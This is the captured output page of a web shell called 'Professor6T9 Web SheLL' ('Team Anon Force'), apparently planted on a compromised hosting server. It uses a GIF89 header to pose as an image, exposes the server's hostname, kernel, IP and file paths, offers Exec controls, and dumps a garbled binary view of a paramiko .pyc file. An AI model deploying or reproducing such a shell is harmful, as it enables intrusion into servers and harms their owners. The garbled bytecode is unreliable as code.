GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
thread-self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
paramiko
/
__pycache__
[ HOME ]
Exec
Submit
File Name : win_pageant.cpython-38.pyc
U rX�fQ � @ s� d Z ddlZddlZddlZddlZddlmZ ddlm Z ddl Zddlm Z dZdZd Zd d� Zdd � Ze�� d dkr�ejZnejZG dd� dej�Zdd� ZG dd� d�ZdS )zP Functions for communicating with Pageant, the basic windows ssh agent program. � N)� zero_byte)�b� )�_winapil �P� i �J c C s t jj�dd�S )Ns Pageant)�ctypes�windll�user32ZFindWindowA� r r �E/opt/alt/python38/lib/python3.8/site-packages/paramiko/win_pageant.py�_get_pageant_window_object+ s r c C s t t� �S )z� Check to see if there is a "Pageant" agent we can talk to. This checks both if we have the required libraries (win32all or ctypes) and if there is a Pageant currently running. )�boolr r r r r �can_talk_to_agent/ s r �64bitc @ s, e Zd ZdZdefdejjfdejfgZ dS )�COPYDATASTRUCTzy ctypes implementation of http://msdn.microsoft.com/en-us/library/windows/desktop/ms649010%28v=vs.85%29.aspx Znum_data� data_sizeZdata_locN) �__name__� __module__�__qualname__�__doc__� ULONG_PTRr ZwintypesZDWORDZc_void_pZ_fields_r r r r r ? s �r c C s� t � }|sdS dt�� d��}t�|tt�� �}|�� |�| � t�dt |�t �}|�� \}}tt ||�}tjj�|tt�|�t�|��}|dkr�|�d� |�d�} t�d| �d } | |�| � W 5 Q R � S W 5 Q R � dS Q R X dS )za Communication with the Pageant process is done through a shared memory-mapped file. NZPageantRequest�08xr r � z>I)r �thread� get_identr Z MemoryMap�_AGENT_MAX_MSGLENZ get_security_attributes_for_user�write�arrayr r �buffer_infor �_AGENT_COPYDATA_IDr r r ZSendMessageA�win32con_WM_COPYDATAZsizeofZbyref�seek�read�struct�unpack)�msgZhwndZmap_nameZpymapZchar_bufferZchar_buffer_addressZchar_buffer_sizeZcds�responseZdatalenZretlenr r r �_query_pageantL s<